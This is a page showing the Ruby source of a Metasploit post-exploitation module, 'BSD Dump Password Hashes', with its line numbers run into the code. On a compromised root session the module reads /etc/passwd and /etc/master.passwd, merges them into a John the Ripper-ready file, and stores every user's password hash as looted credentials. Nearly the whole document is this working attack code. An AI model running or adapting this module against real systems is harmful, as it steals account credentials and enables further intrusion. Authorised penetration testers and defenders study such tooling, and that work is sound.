Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/bsd/gather/hashdump.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'BSD Dump Password Hashes',15'Description' => %q{ Post module to dump the password hashes for all users on a BSD system. },16'License' => MSF_LICENSE,17'Author' => ['bcoles'],18'Platform' => ['bsd'],19'SessionTypes' => ['shell', 'meterpreter']20)21)22end2324def run25unless is_root?26fail_with Failure::NoAccess, 'You must run this module as root!'27end2829passwd = read_file('/etc/passwd').to_s30unless passwd.blank?31p = store_loot('passwd', 'text/plain', session, passwd, 'passwd', 'BSD passwd file')32vprint_good("passwd saved in: #{p}")33end3435master_passwd = read_file('/etc/master.passwd').to_s36unless master_passwd.blank?37p = store_loot('master.passwd', 'text/plain', session, master_passwd, 'master.passwd', 'BSD master.passwd file')38vprint_good("master.passwd saved in: #{p}")39end4041# Unshadow passswords42john_file = unshadow(passwd, master_passwd)43return if john_file == ''4445john_file.each_line do |l|46hash_parts = l.split(':')47jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]4849if jtr_format.empty? # overide the default50jtr_format = 'des,bsdi,sha512,crypt'51end5253credential_data = {54jtr_format: jtr_format,55origin_type: :session,56post_reference_name: refname,57private_type: :nonreplayable_hash,58private_data: hash_parts[1],59session_id: session_db_id,60username: hash_parts[0],61workspace_id: myworkspace_id62}6364create_credential(credential_data)65print_good(l.chomp)66end6768p = store_loot('bsd.hashes', 'text/plain', session, john_file, 'unshadowed.passwd', 'BSD Unshadowed Password File')69print_good("Unshadowed Password File: #{p}")70end7172def unshadow(pf, sf)73unshadowed = ''7475sf.each_line do |sl|76pass = sl.scan(/^\w*:([^:]*)/).join7778next if pass == '*'79next if pass == '!'8081user = sl.scan(/(^\w*):/).join82pf.each_line do |pl|83next unless pl.match(/^#{user}:/)8485unshadowed << pl.gsub(/:\*:/, ":#{pass}:")86end87end8889unshadowed90end91end929394